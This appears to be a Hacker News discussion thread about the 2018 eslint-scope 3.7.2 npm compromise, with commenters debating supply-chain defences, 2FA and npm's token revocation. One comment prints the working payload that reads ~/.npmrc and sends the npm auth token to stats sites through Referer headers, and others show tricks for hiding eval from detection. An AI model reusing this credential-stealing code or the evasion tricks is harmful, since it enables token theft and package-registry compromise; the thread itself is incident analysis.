ESLint compromised, may have stolen your credentials

https://github.com/eslint/eslint-scope/issues/39

by matsemann • 8 years ago

527 247 8 years ago

maaaats3• 8 years ago

In short: Someone has published a version 3.7.2 of eslint-scope that contains unwanted code. The code tries to read your credentials and send them to some tracking pages.

Webpack and more uses ^3.7.1 of the dependency, making you automatically upgrade to the hacked one.

Update: According to the linked issue the nefarious package has now been unpublished. If you have npm credentials and did npm install the last few hours you should probably revoke your tokens.

windows_tips• 8 years ago

npm is distributing this credential tracker?

zalebz• 8 years ago

source is from github, right? can we not identify the "someone" in this case? or are we talking about a separate publish to npm process unrelated to github releases? can the eslint-scope team not figure out the someone that did the publish? I'm an open source newb but I have to think someone had to accept this malicious code at some point for it to ripple through and make it to release/publish right?

fmpwizard• 8 years ago

npm doens't take the code directly from the github repo, so far it looks like the new code was publish directly to npm, so there is no git commit to look at as it never was part of the official github repository

mklauber• 8 years ago

From what I read, the code is not in the github repository. What happened was that the npm publish credentials were compromised, and someone published their own code instead of code from the github repo. So they don't have commit logs of who published the bad code, but npm may be able to help them track down which credentials were used to publish it. Npm's server logs may also point in the direction of where the malicious publish came from, but it's likely that the IPs in the server log are proxied or otherwise useless.

shusson• 8 years ago

publishing is separate to the source code. If someone stole the publishers credentials, then they could publish [1]. Only NPM servers would be able to know something special (not the credentials) about who did the publish, e.g IP.

[1] https://docs.npmjs.com/getting-started/publishing-npm-packag...

dpkonofa• 8 years ago

The someone was a publisher for ESLint whose credentials were stolen separately from this. The malicious code itself isn't stored in the codebase, it's stored in a pastebin doc that's called by URL. Theoretically, the person that did this can change the content of that pastebin file at any time to get new/different code run on machines that have this installed.

Vinnl8• 8 years ago

If you have npm credentials and did npm install the last few hours you should probably revoke your tokens.

You might have to do that anyway - it's not yet clear what other packages, if any, have been affected.

msl09• 8 years ago

As a user/developer how do you even mitigate against this kind of attack? Audit all source that you or your dependencies use?

Sir_Cmpwn6• 8 years ago

The honest answer is a hard truth: you don't use npm at all. The npm ecosystem is out of control and beyond saving. I think it would be wise if someone started a new JavaScript package manager which was run more like a Linux distribution is - trusted third-parties that independently audit and publish new packages.

Retracted: I wanted to audit the rest of npm to see if this payload had made it into any other packages, since if it steals your npm credentials it seems like it could easily become viral. But because npm is a centralized, proprietary service, I can't just download all of the packages from a mirror and examine them myself.

rufugee• 8 years ago

It seems that Node would really benefit from a "NPM is a Ghetto" post similar to Zed's Rails rant.

austincheney• 8 years ago

I think it would be wise if someone started a new JavaScript package manager which was run more like a Linux distribution is

I started one but dont have the time to maintain it. If anybody wants to take it just fork it and go: https://github.com/prettydiff/biddle

rattray2• 8 years ago

1. You can protect against problems like "a subdependency's patch version automatically bumped to something bad" with a lockfile, either yarn.lock or package-lock.json. Of course, that doesn't help if you chose to update your lockfile in the handful of hours this attack was live.

2. It seems to me that, accordingly, a client-side command to only download packages/versions that have been live for more than n hours/days would decrease the likelihood of downloading malicious code substantially. The community is large and folks tend to find the bad stuff.

3. If independent third parties had to audit code _before_ it could be released, we'd get a lot less code a lot slower.

4. We do have a trusted third-party publish new packages – NPM. They remove malicious content as quickly as they can.

5. Yarn operates a mirror, and there are several CDN's with everything on npm - unpkg.com, cdn.jsdelivr.net/npm, bundle.run. Perhaps one of them will let you download everything for examination.

I wouldn't be surprised if NPM, Inc. would help you audit the rest of the ecosystem if you reached out.

throwanem• 8 years ago

Sure you can. The first public mirror list I know offhand is https://github.com/amio/npm-mirrors/blob/master/index.js.

You can also make your own mirror. See https://eatpeppershothot.blogspot.com/2016/12/how-to-create-... for a quick overview.

Come to think about it, if you're not a fan of the paucity of public mirrors evinced by the first link, you could use the second one to do something significant toward improving that situation. But I grant it's easier merely to criticize.

Rjevski• 8 years ago

Ideally yes.

This is doable with some languages but the issue with Javascript is that your dependency graph usually ends up containing 100+ packages.

ndonnellan• 8 years ago

I highly recommend using package-lock.json files and npm ci in a ci-environment. That way your automated processes aren't changing dependencies. And even if you use npm install, your lock files act as a source of history to inspect what changes occurred between new installs.

naasking2• 8 years ago

As a user/developer how do you even mitigate against this kind of attack?

I wish there were a viable answer other than "use a capability-secure programming language". Even auditing is insufficient since nefarious code can easily slip through even an audit.

eqmvii• 8 years ago

Do we need a “days since last NPM-related security disaster” tracker?

yosito2• 8 years ago

Someone should make this!

have_faith2• 8 years ago

For what purpose other than feeling smug?

karmakaze• 8 years ago

Can someone instead, make a utility that assuming that my project's packages only get upgraded, not downgraded, could have been compromised or included compromised code? We could then check on each of our projects. If you do downgrade packages then you'd have to run it on prior commits as well.

andrew_4• 8 years ago

This was resolved in about an hour, looking at the issue linked. All things considered, that's great turn-around time for a fix.

mrob• 8 years ago

It's not completely resolved until everybody who was potentially compromised audits everything their credentials gave them control over and changes the credentials.

andrew_4• 8 years ago

Is a bug not fully resolved until every machine on the planet running that software has upgraded to a version in which the bug doesn't exist? That'd be quite a silly assertion imho.

lsadam02• 8 years ago

I mean sure, the turn-around time is great...but how did this pass review in the first place? This should never happen in a reasonably managed project.

andrew_4• 8 years ago

It wasn't up for review. It was published out of band, and outside of the ESLint pipeline using likely stolen credentials. That's how that stuff sneaks in.

fulafel5• 8 years ago

Is it possible that this is a npm virus, or semiautomated train of compromises, and the eslint-scope project npm credentials were compromised the same way? Given it was eval-ing code off pastebin, it's hard to tell what has been going on.

maaaats3• 8 years ago

They say the package didn't come from their pipeline, so it's most likely published with stolen credentials. So it's not far-fetched to think those credentials were stolen the same way. More packages may be affected.

_bxg16• 8 years ago

They did say the pastebin has been taken down, so at least it won't spread further. Still, everybody who ever publishes anything should reset their credentials.

0x0• 8 years ago

Isn't it scary that this seems to have been discovered only because the backdoor code was buggy?

blablabla123• 8 years ago

Buggy code is a top indicator that something on a deeper level is wrong. Assuming that the people who wrote the code were not in a total rush and quite smart, how could they write buggy code if the code base was healthy and robust? Especially on a project that is unit-tested and linted, without checking I assume everything on ESLint is...

kevindqc• 8 years ago

How can the exploiter write buggy code? By... writing buggy code?

From what I gather, they wrote some code that downloads a script, which might (or not) get downloaded in chunks. But their code only executes the first chunk. So if the whole script is not in the first chunk, you get a syntax error because it is incomplete.

That exploited code was not in Github, it was added to the ESLint code the exploiter had, which he then published to npm using stolen credentials, bypassing the normal CI process. How would unit tests and linting help with that?

BinaryIdiot3• 8 years ago

Considering how you pretty much need 1,000+ node modules just to run most framework hello worlds, yeah this is terrifying. But it's a well known problem, too, that no one seems to want to do anything about and with npm being a business that wants / needs people to download modules through them, I don't see this changing any time soon.

Maybe Deno can help give a new, security focused life into JavaScript development.

aeleos• 8 years ago

According to the thread, as of about 30 minutes ago the malicious version has been unpublished.

Despite this, it seems that a lot of high profile packages were vulnerable to an automatic minimum version bump. There have been quite a few close calls with non packages, and at some point I feel like it will actually do some damage.

_bxg16• 8 years ago

The indirect dependencies thing is a real problem, for other reasons too, because you can't control those. The peer dependency system partially solves this, but it's still an issue.

jsty• 8 years ago

It seems language package manager compromise is becoming an increasingly prevalent attack vector.

IMHO, at some point, the software development industry is going to have to come together and find a way to collectively audit the most widely used packages, considering that the status quo of everyone doing their own auditing is clearly not working. Perhaps a twitter-style 'blue tick' or similar for audited libraries.

maksymddd3• 8 years ago

Yes, and then we will have to audit each update and each bugfix, right?

codingdave• 8 years ago

Someone will need to, yes. Hopefully it would be a more centralized, trusted auditor.

But flip it around -- without such audits (the status quo), you don't know what code runs in your own codebase. Is that acceptable?

fulafel5• 8 years ago

We don't really know how to audit for backdoors/vulns that don't want to be found. See eg the underhanded c contest.

_bxg16• 8 years ago

Due to sandboxing, the concerns for malicious JS are different from those of C. From what I've seen, bad JS usually tries to record/read and then exfiltrate data, which can only be done through a narrow set of native APIs, which would be comparatively easy to check for.

krapp• 8 years ago

It seems language package manager compromise is becoming an increasingly prevalent attack vector.

This problem seems to be increasingly prevalent for only one package manager and the ecosystem around one language, though.

_bxg16• 8 years ago

Unfortunately in this case, since the source repository itself wasn't compromised, there was nothing to audit (assuming the final bundle was packed/minified).

One interesting mitigation would be for NPM to allow you to bind your package directly to a particular repo. So rather than a user (or job system) having to manually go in and publish releases, NPM could assure that what's live always matches what's in the repo.

I've always wondered, how does apt-get solve this? Do they audit every package?

rattray2• 8 years ago

Yeah, `npm publish` should just – on npm's servers – fetch a github repo and run a build command. This would be more secure, convenient, and less prone to silly errors (like forgetting to build before releasing).

namibj• 8 years ago

They build them themselves, and vet holders of signing keys. They have _much_ better opsec than the NPM ecosystem.

naasking2• 8 years ago

IMHO, at some point, the software development industry is going to have to come together and find a way to collectively audit the most widely used packages

That will never work. Widespread auditing practices will never solve such problems. What the software development industry should do is move towards capability-secure languages where such attacks are virtually impossible.

maksymddd3• 8 years ago

Anyone got 3.7.2 source code or the compiled version? Need it for research purposes.

selbekk• 8 years ago

Most of the relevant parts are in the issue.

maksymddd3• 8 years ago

Already found out: https://registry.npmjs.org/eslint-scope/-/eslint-scope-3.7.2...

b1n5h2• 8 years ago

I would like to know if I used the package from the past commitment, but when is the release date of 3.7.2?

thephyber10• 8 years ago

From one of the comments in TFA:

'3.7.2': '2018-07-12T10:40:00.478Z'

b1n5h2• 8 years ago

I would like to check if I used the package from the past commit, but when is the release date of 3.7.2?

inglor6• 8 years ago

Asking for some feedback for Node.js

What (if at all) should Node.js do better to protect users from this sort of attack vector?

Is a deno-like surface where users opt into packages getting network permissions desirable? More guides on npm-audit or stronger auditing tools?

koolba2• 8 years ago

Explicit whitelisting for network access.

Explicit whitelisting for fs access.

A programmatic way to tell if the publisher of a module has 2FA enabled. I’m a fan of public shaming to enable 2FA, if not making it mandatory (again tricky if you have automated builds).

michaelmior• 8 years ago

+1 to this. I hadn't heard the suggestion of making 2FA use public before, but I really like the idea.

andrew_4• 8 years ago

-1 to this. while 2FA is a no-brainer for most of us, publicly listing (or showing status) not only encroaches individual liberty to make a choice, it would open such users to be targets of an attack. Enforcing 2FA in an organization seems more appropriate. Perhaps npmjs.com has implemented that since last I looked, but I know in the past that enforcement was not available.

I also greatly dislike the trend of public "shaming" that's so prevalent today. The internet has made us cruel.

probably_wrong• 8 years ago

I hope you also publicly shame services that only offer 2FA in exchange for your phone number.

My phone number identifies me much better than my email address and/or cookies ever will. As someone who cares about privacy, I don't give it to anyone. And yet, publicly shaming me for not enabling 2FA would shame me by proxy for caring about privacy.

inglor6• 8 years ago

Explicit whitelisting for network access. Explicit whitelisting for fs access.

Would you (or anyone else reading this) be interested in exploring what that would look like for Node.js?

(If you do, feel free to reach me at my email in https://github.com/nodejs/node under benjamingr)

I think it would be interesting - one solution could be a loader (ESM) that only lets you load other "unprivileged" files by default - then importing things like `child_process` or `fs` could require more privilege. A little like how apps work.

A programmatic way to tell if the publisher of a module has 2FA enabled.

I will bring this up. Personally I think I understand the objection of the reply below about this information being risky. That's something NPM likely can/should solve and not Node.js.

For what it's worth GitHub orgs can already tell who has or doesn't have 2FA. Node.js itself for example enforces GitHub 2FA for all the organization. I assume GitLab has a similar feature.

Waterluvian3• 8 years ago

Not just network permissions, opting into what local directories it can see. Allow it to see absolutely nothing but its own directory and temp. I don't have a good answer on a good method to override this when necessary. Ideally never, but realistically some form of whitelist.

npm-audit is good for post-disaster cleanup, but it's too late to prevent anything.

inglor6• 8 years ago

Not just network permissions, opting into what local directories it can see.

Well, one way I personally do this for my own stuff is with Docker. The problem is that I don't think it's reasonable to expect every developer to run in Docker - at least until it's at least as easy as the atlernative.

vorpalhex2• 8 years ago

1. Sandbox file access

2. Limit network calls without additional permissions

3. Warn when the dependency tree goes too deep (8 or 9 levels of deps)

4. Better auditing of suspicious patterns (accessing .npmrc should throw a flag)

inglor6• 8 years ago

3. Warn when the dependency tree goes too deep (8 or 9 levels of deps)

Hmm, why?

4. Better auditing of suspicious patterns (accessing .npmrc should throw a flag)

As in - when `.npmrc` is accessed as a result of `npm install` you would want NPM to warn?

tolmasky• 8 years ago

Not a solution for everything, but one of the key reasons we made RunKit is precisely to allow you to try random packages without giving them access to your computer (its basically an easy way of the "run everything in a Docker container" suggestion below). NPM links directly to this where it says "try <package> in your browser", but you can also just do it yourself: https://runkit.com/new.

lewiscollard• 8 years ago

How about something like OpenBSD's pledge(2) system call [0] for Node?

First: everyone decide on a set of potentially dangerous things for a program to do. Three examples off the top of my head: disk I/O, accessing the network, executing external programs.

A function could declare that it will only do some subset of potentially-dangerous operations, and an exception will be thrown if either it or anything further down the call stack does any of the others.

In this particular case it seemed to be some post-install build script that caused it - but if this was present in the Node core would it be that difficult to implement in npm (i.e. "my post-install script and its dependencies will only ever do disk I/O")?

If this is possible, and if it was adopted in the community widely enough, this would halt the imminent "some thing I depended on depended on something else that depended on a string function that turned into a credentials hoover" apocalypse...

[0] https://man.openbsd.org/pledge.2

[edit: very tiny clarification]

rimunroe• 8 years ago

This reminds me of this story https://hackernoon.com/im-harvesting-credit-card-numbers-and...

INTPenis• 8 years ago

I'm a frontend hobbyist. I noticed a lot of node_modules use eslint. Are they able to hijack stuff all the way down the dependency chain?

ramses02• 8 years ago

Yes.

thephyber10• 8 years ago

Are they able to hijack stuff all the way down the dependency chain?

Potentially.

Just because you have `eslint` installed as a dependency doesn't mean this exploit ran on your computer. You would have had to run `npm install` (or a similar command) during the infected time (NPM makes it sound like just a few hours).

Details:

This was in `eslint-scope`, an optional dependency of `eslint`.

For this to affect you, you would have needed to run an `npm install`-like command after the infected version of the module was published to `npm` and before it was unpublished.

It's not clear yet if any other modules were infected. Time may tell.

The exploit ran arbitrary code (RCE) after an `npm install` / `npm update` type of command. The payload was a pastebin paste (since neutralized), so to the extent that it could be changed by the author, what the RCE did could have been changed.

NPM has announced that they have disabled the credential-tokens that were issued from a specific time interval, meaning that NPM publishers would have to re-authenticate in order to publish module updates.

no_wizard3• 8 years ago

I have to wonder if using the same approach as Packagist would be better. In order to upload to packagist you have to link your git repo (GitHub Bitbucket etc) to your Packagist account and sync it that way. The thing npm got wrong here is that you can upload without doing any of that. Seems like that simple step would have prevented this if I’m understanding the chain of events correctly

Vinnl8• 8 years ago

I don't know, it seems like your SSH key could've been compromised the same way the npm publish token was obtained. So that would only protect those that do not use SSH (or GitHub, which luckily isn't required to publish an npm package) to push.

hyperpape• 8 years ago

Some variant on this idea would protect projects that have decent code review practices.

no_wizard3• 8 years ago

Perhaps. Though I find that the statistical odds of an ssh key being breached is smaller than spoofing web credentials, thought I could be wrong, my background is not in security. Just anecdotally I actually haven't met anyone that has had their SSH keys hacked/stolen/compromised but I know lots and lots of people, even smart people who use 2 factor for everything, have had something compromised (though I can vividly remember one case where it was 2 factor that saved the day from one of my co-workers having a very nasty identity theft problem. Remember folks, don't ever save a note in your email with your SSN and Drivers License)

holmberd• 8 years ago

If your npm is up-to-date it would have provided a critical warning about the use of eval in that code.

bradyd• 8 years ago

Can you give some more information on this? Is this part of the npm-audit feature?

Vinnl8• 8 years ago

Given that it's making calls to histats.com and statcounter.com, I wouldn't be surprised if this is someone trying to make a point. Let's hope so, at least :) I would be interested in a blog post detailing how many credentials they were able to obtain, how many people they managed to infect and how many packages they could potentially compromise.

If npm (and I'm guessing they will) have to invalidate all publish tokens for all users, that is going to be painful.

Edit: I should point out that this is just speculating - there are definitely still ways this could be abused, so don't assume you're safe.

wwwv3• 8 years ago

They are linked as HTTP referrer, so they can get the tokens out of the stats page later on.

It's using a popular and well known domain to evade detection.

Vinnl8• 8 years ago

That's true, but doesn't it also place their fate in the hands of the owners of StatCounter and HiStats?

(Of course I am just speculating - there's definitely still ways this could be abused. I'll update my comment.)

supermatt• 8 years ago

more likely a simple anonymous email signup that will receive the payload and present the data in an anonymous and easily accessible way. in this case, it just present the keys as the list of referrers (albeit formatted as urls).

vlucas• 8 years ago

This is not _eslint_. This is _eslint-scope_ which is not included by default with ESLint itself.

maaaats3• 8 years ago

It's part of the ESLint organization, which is what I'm referring to being compromised, not the exact package.

What you're saying is anyhow wrong as far as I can see. ESLint-scope is included by ESLint. Current version uses ^4.0.0 and shouldn't be affected, but versions from before May has the affected ^3.7.1 dependency. This version is also included in webpack, making it a big target anyhow.

nailer2• 8 years ago

Mods / sctb / dang: can you fix the title? Thanks!

nailer2• 8 years ago

Just replying to self: parent is wrong and I wish I could delete my comment above

henry_flower• 8 years ago

are you sure?

  $ json -j version dependencies.eslint-scope < `npm root -g`/eslint/package.json
  {
    "version": "4.19.1",
    "dependencies.eslint-scope": "^3.7.1"
  }

minitech• 8 years ago

This is _eslint-scope_ which is not included by default with ESLint itself.

Yeah, it is.

https://www.npmjs.com/browse/depended/eslint-scope

sslalready• 8 years ago

ESLint maintainer responds here: https://github.com/eslint/eslint-scope/issues/39#issuecommen...

One of our maintainers did observe that a new npm token was generated overnight (said maintainer was asleep). We think that token was likely used but are awaiting confirmation from npm. This maintainer has changed password, enabled 2FA, and generated new tokens.

ethagnawl2• 8 years ago

enabled 2FA

This should serve as a reminder to all FLOSS maintainers/contributors that 2FA should be enabled on whichever services (relevant to your project and elsewhere) support it.

UPDATE:

rubygems.org does have support for 2FA, it just isn't advertised yet. See this comment for instructions on how to enable it for your account: https://github.com/rubygems/rubygems.org/issues/1252#issueco...

konradzikusek• 8 years ago

It looks like Ryan Dahl predicted it: "It would be nice to download the massive codebase that ESLint is and run it without it taking over my computer - which it could."

https://www.youtube.com/watch?v=M3BM9TB-8yA&feature=youtu.be...

msoad3• 8 years ago

Sandboxed by default is the best design decision of deno.

Using URLs for import is another one. npm as a company has too much power and responsibilities that is really unnecessary. We're downloading from a URL anyways. package.json and npm makes it look like everything has to be hosted there

pitaj• 8 years ago

URL imports is a terrible idea. There's a reason we have actually package managers and repositories instead of installing from GitHub.

Properly made and run package managers are more secure and offer a better developer experience than importing by URL.

inglor6• 8 years ago

Just to be clear, the reason I (and others) use the NPM registry is that it saves us a ton of time and helps us be more productive.

There is nothing stopping me or you from putting "regular" JavaScript files in your `node_modules` and `require`ing them or running node with ESM and a loader that loads URLs (requires Node 10) and have the same semantics as deno with packages.

Some problems I personally see with URLs is versioning (and versioning of dependencies) and the fact it's harder for multiple packages you're using to have the same dependency without downloading it twice.

menagerie• 8 years ago

Thanks for posting this!

AndrewVos• 8 years ago

Below is the contents of the pastebin that the virus tries to eval.

Kind of interesting that they used a stats counter site as a free anonymous database.

  try{
    var path=require('path');
    var fs=require('fs');
    var 
    npmrc=path.join(process.env.HOME||process.env.USERPROFILE,'.npmrc');
    var content="nofile";
 
    if (fs.existsSync(npmrc)){
     
        content=fs.readFileSync(npmrc,{encoding:'utf8'});
        content=content.replace('//registry.npmjs.org/:_authToken=','').trim();
 
        var https1=require('https');
        https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+content}},()=>{}).on("error",()=>{});
        https1.get({hostname:'c.statcounter.com',path:'/11760461/0/7b5b9d71/1/',method:'GET',headers:{Referer:'http://2.b/'+content}},()=>{}).on("error",()=>{});
   
      }
  }catch(e){}

Jupe3• 8 years ago

The fact that this is the top-voted item here scares the hell out of me.

eval() should be removed from the language. Period. Dynamic code like this is a gaping security hole. There an infinite number of ways to get around eval() detection (see some comments below).

eval() combined with a hole-ridden package manager is the perfect storm; the equivalent of an open door for hackers to manipulate a potentially huge number of code bases.

And the top-voted comment is how they used a stats counter to stuff the hijacked creds... WTF.

jpochtar3• 8 years ago

Removing eval wouldn't help— you could always just write a tiny interpreter to do the same thing. This is a problem in any Turing complete programming language (with Reflection), although JS makes it easier.

BinaryIdiot3• 8 years ago

Removing eval doesn't fix anything here. In fact you can eval in other methods in JS (setTimeout and setInterval).

I think this issue is a good reminder that installing thousands of dependencies for a hello world app is dangerous and could ultimately be very costly. We need to handle modules better.

ErikAugust• 8 years ago

The way they pass the content of the npmrc file via the Referer field in the headers is pretty clever, in my opinion.

trampi• 8 years ago

Hi! Thank you for posting the script. In the meantime, the script has changed to "//1", see http://pastebin.com/raw/XLeVP82h. Is it possible, that it could have for example leaked ssh keys in the past? Is it possible, to get all revisions of this pastebin?

edit: after researching it on my own, it seems that only administrators can edit pastebins, regular users can not.

duckerude• 8 years ago

You can edit your own paste on pastebin if you made it with an account. This one was made with an account, shown on the full page: https://pastebin.com/XLeVP82h

It's possible the person who created it edited it. I don't think there's a way to see past revisions, other than external archives.

Jupe3• 8 years ago

I think someone needs to audit all versions of all packages on npm. The original eslint maintainer's credentials could have been compromised days ago, via an older version of another module; then the credential stealing code could have been removed in a more recent update.

I've grepped my entire local code base for 'eval' and 'pastebin'; I seem to be fine. But was I fine yesterday? The "^" wildcard is just evil.

And the fallout from this could be incredibly complex. What do you think the original hackers will do with the stolen npm credentials? The paranoid side of me says they are inserting different hacks in any module they can.

Ugh... npm is insanely broken.

megaman22• 8 years ago

It's a mess, I wish I didn't have to associate with the whole ecosystem. I much prefer package managers where you specify an explicit version that you depend on, and have to handle updates yourself - people tell me npm does this now, but I haven't yet seen it work the way I expect it ought to.

Of course that kind of a scheme is much more manageable when dependencies are fewer, chunkier, and slower moving. NPM-land, where running npm install downloads half of the internet for a little web page project, is too far gone beyond the pale.

benologist3• 8 years ago

I think developers need to be much more deliberate about the packages they use and try to have a very small node_modules where it's possible to provide some oversight.

iends2• 8 years ago

The node package ecosystem is not "designed" to work this way. Everybody is encouraged to use many single purpose packages. The production app I work on at work has over 1000 dependencies. Almost all of them are transitive. (We have maybe 20-30 specified dependencies.)

kevin_b_er• 8 years ago

This is not possible under the npm/js paradigm of massive module dependency trees. You'll get a module and it will have 10 dependencies and each of those 10 dependencies will each have 5 dependencies. Three of those at the 4th level was an infected eslint package.

They've learned precious little since left-pad.

infogulch3• 8 years ago

    window[rot13("riny")]("console.log('hello world')");

void_starer• 8 years ago

I've grepped my entire local code base for 'eval' and 'pastebin'; I seem to be fine.

I don't know if I'm missing something, but couldn't they have easily called it indirectly like this: console.log(global["ev" + "al"]("40 + 2")); I tested it here: http://rextester.com/FEPVG53848

gcb0• 8 years ago

gotta love npm community . here's the summary:

1. someone compromises eslint to scan for other npm credentials and upload them.

2. the code has a bug that fails in some conditions.

3. this probably ran in several devs/CI systems and stole tons of credentials

4. the thread is about pinning the unaffected older version on all other high profile packages

5. people start to suggest fixes for the payload exec'ing code from an http request.

in the end, attackers now have hundreds of credentials for less visible projects, and even a fix for their code. I'd say attackers are writting this off as a huge success.

npm should proactively revoke everyone's token now!

granos• 8 years ago

Revoking all tokens and probably unpublishing anything published since eslint-scope 3.7.2 was released (maybe limit it to things published with a token that was issued after 3.7.2 was published) is the only way to really be sure

t3h2mas3• 8 years ago

To protect potentially compromised accounts, npm is invalidating all npm login tokens created between 2018-07-11 00:00 UTC and 2018-07-12 12:30 UTC (about 2 hours ago).

https://status.npmjs.org/incidents/dn7c1fgrr7ng

prawks• 8 years ago

Shortly after your post, they did revoke all access tokens:

https://status.npmjs.org/incidents/dn7c1fgrr7ng

To protect potentially compromised accounts, npm is invalidating all npm login tokens created between 2018-07-11 00:00 UTC and 2018-07-12 12:30 UTC (about 2 hours ago). If you believe your account specifically was compromised we still recommend visiting https://www.npmjs.com/settings/~/tokens to revoke all your tokens.
Posted about 20 hours ago. Jul 12, 2018 - 16:42 UTC

Then later:

We have now invalidated all npm tokens issued before 2018-07-12 12:30 UTC, eliminating the possibility of stolen tokens being used maliciously. This is the final immediate operational action we expect to take today.
We will be conducting a forensic analysis of this incident to fully establish how many packages and users were affected, but our current belief is that it was a very small number. We will be conducting a deep audit of all the packages in the Registry to confirm this.
Posted about 18 hours ago. Jul 12, 2018 - 18:52 UTC

phendrenad23• 8 years ago

This is why I do all of my development in VMs now. I can’t abandon Node, because that’s the current trend in web development, so i just try to avoid the most common viruses that don’t include a VM-breakout zero day.

monort• 8 years ago

Do you run IDE inside VM too? How do you run/debug your code?

cremp2• 8 years ago

current trend in web development

Why on earth are you using whats popular instead of the correct tool for the job?

To be clear, you absolutely can abandon node, and should.

phendrenad23• 8 years ago

Because using what’s popular is what gets you jobs.

infogulch3• 8 years ago

npm should require all package maintainers to set up 2-Factor Authentication (NOT via sms) and reauthenticate on every update, effective immediately. That's the only fix I can see for this. Libraries are too vulnerable and our current js ecosystem has too many dependencies and too many people in the chain to trust that all of them use secure password practices and none of them have been compromised.

yosito2• 8 years ago

Here are some useful commands you can use to secure your environment in light of this hack: https://gist.github.com/localjo/59bb12b7a4789e01e3782cf8a103...

thephyber10• 8 years ago

Note that NPM claims they already disabled NPM access tokens that were used during the timeframe they assigned to this incident so if you were affected, your token was already revoked.

Also, ESLint's postmortem[1] suggests this was password reuse (matching a creds from a previously popped service) + lack of 2FA. In short, a failure of a developer with publish permissions to use basic security hygiene.

[1] https://eslint.org/blog/2018/07/postmortem-for-malicious-pac...

micimize2• 8 years ago

probably the most reasonable stopgap to this class of attacks is for npm to do more to encourage 2FA, with badges, etc, and introduce a warning on non-2FA installs.

thephyber10• 8 years ago

One of the notes on the ESLint postmortem[1] was that developers shouldn't reuse passwords and should use a password manager to facilitate making this easier.

While I ack that 2FA would have prevented this incident, so would have using unique credentials. Note that using unique credentials is available at every SaaS service, not just the ones that support 2FA.

[1] https://eslint.org/blog/2018/07/postmortem-for-malicious-pac...

micimize2• 8 years ago

right, but 2FA usage is something npm can actually verify, so that we as package consumers can ask/receive some security guarantees from publishers.

dosy2• 8 years ago

Another great reason to not go with gigantic libraries / toolchains / transpilation. Use small code you can read, rather than something like Babel/JSX/React.

thephyber10• 8 years ago

The size doesn't matter. Just including a single JQuery-like library from a fake CDN could get you similarly pwn your supply chain.

If you use other peoples' code and you don't {static analyze it, dynamic analyze it, sandbox+scrutinize its network traffic it until you are confident it doesn't phone home, reverse engineer all of the binaries, etc} you can get hit by the same issue.

dosy2• 8 years ago

Exactly. Don't use other people's code / depend on their code / services.

But you're wrong about size. It matters. If your code is small enough you host it yourself rather than relying on external CDNs. Risk surfaced reduced. And smaller code mindset leads to less use of dependencies / bloatware like the React/Babel tool chain, so of course this leads to less risk.

But it also makes fools of a lot of people and conventional/fad wisdom, so I'm unsurprised they're unhappy to hear it.

snowwolf3• 8 years ago

This would be a good time to stop what you are doing right now and enable 2FA everywhere you can think of if you haven’t already.

If you control an organisation account enforce it for everyone (github, etc).

I know some places implement it poorly (I’m looking at you SMS based 2FA) but it’s getting to be point where not having it enabled is now a question of when not if you will be compromised. This and Gentoo are recent examples that could have been prevented by 2FA that was available but not enabled.

Gaelan• 8 years ago

Not that it’s a bad idea in general, but I don’t think it would help in this situation. I’ve never published NPM packages, but I’m assuming that it only asks for a 2FA token when you first log in, and not every time you publish. Because this thing is stealing local tokens, I think 2FA wouldn’t help.

snowwolf3• 8 years ago

Possibly not, but it would have prevented the compromise in the first place. My advice was less about helping people affected by this and more about trying to prevent the next one.

ceejayoz• 8 years ago

Maybe NPM should ask for a 2FA to publish every time?

paulirwin2• 8 years ago

Your assumption appears to be incorrect. If you set up 2FA in "auth-and-writes" mode, it does require a 2FA challenge to publish.

Docs: https://docs.npmjs.com/getting-started/using-two-factor-auth...

ecares• 8 years ago

Some recommendation here https://blog.sqreen.io/eslint-backdoor/

t3h2mas3• 8 years ago

How to scan your projects (from their directory, or their parent directory)

https://github.com/eslint/eslint-scope/issues/39#issuecommen...

You can easily modify the script to scan for the other vulnerable dependency as per

https://github.com/eslint/eslint/issues/10600

version: eslint-config-eslint 5.0.2

jpochtar3• 8 years ago

Each version of an npm package needs a certified git commit hash.

Otherwise when vetting an npm package, you have no idea if the code you're reading on Github is actually what you're going to download or not. In scenarios like this one, package publishers could easily configure getting an alert that someone tried to push to npm a hash for which no commit exists in Github.

For packages with a build step this would likely mean npm would have to run the build step on their servers. Hopefully there's a way they won't have to eat that cost, but I believe publishing linking package versions to specific git hashes is the only way to prevent an attack like this.

nevir• 8 years ago

The challenge here is that you cannot just go with signed commits—it would also need to authenticate a specific user/org, repository, etc. (Anyone can sign a commit)

Similarly, however that whitelist of identities is specified becomes another vector, without a lot of PKI

jpochtar3• 8 years ago

I shouldn't have used the word 'certified'— I just meant the package version should have an associated commit hash. There has to be a relationship between the hash and the published code in some way, unlike eg. the "homepage" field people use to link to Github which can just be an outright lie.

My goal is for readers to match the hash to one on Github so they know the code they're reading there to vet the package is what's on npm. For OSS maintainers, it's an immediate red flag to see a package version published with a hash that was never in the public repo.

This won't certify that the version is blessed by a legitimate author. It just delegates the problem to Github (or their competitors). It doesn't solve the problem of preventing all OSS library-based attacks, but plugs one of the leaks in trust that caused today's failure: that Github->NPM is not checked in any way.

brodock• 8 years ago

Did anyone fill a CVE already?

thephyber10• 8 years ago

The CVE DB is usually pretty backlogged. This[1] is the defacto NPM "CVE DB" and describes the two modules[2][3] affected by this incident that ESLint and NPM acknowledge.

[1] https://nodesecurity.io/advisories

[2] https://nodesecurity.io/advisories/673

[3] https://nodesecurity.io/advisories/674

hownowbrowncow2• 8 years ago

Update: NPM is revoking _all_ tokens between 2018-07-11 00:00 UTC and 2018-07-12 12:30 UTC.

https://status.npmjs.org/incidents/dn7c1fgrr7ng

hownowbrowncow2• 8 years ago

Good to make sure you team members who might have installed within that time period nuke out all their node_modules.

seldo• 8 years ago

Further clarifying: npm will revoke all tokens issued before 2018-07-12 12:30 UTC. If you rolled your tokens after that time you will not need to re-issue them.

https://status.npmjs.org/incidents/dn7c1fgrr7ng

msoad3• 8 years ago

I blame the Linux Foundation that has allowed Node.js to ship with npm CLI which is a client for a _VC backed_ _for profit_ company. This posinstall stuff is clearly a bad design that many have pointed to it before but npm just ignored it. Nobody can fix it other than npm. I have nothing personal against people who work at npm inc but this structure is not right. npm is having way too much control over this ecosystem. They always complain about not having not enough resources. How about running npm like an open source project instead? I have many questions:

    Why the registry code is not open source?
    Why the CLI is not maintained well? (Yarn exists because npm CLI sucks)
    What if VC money forces npm to milk free users for money?

steamer25• 8 years ago

In a recent video, Ryan Dahl mentioned that he regrets incorporating package.json and NPM into Node:

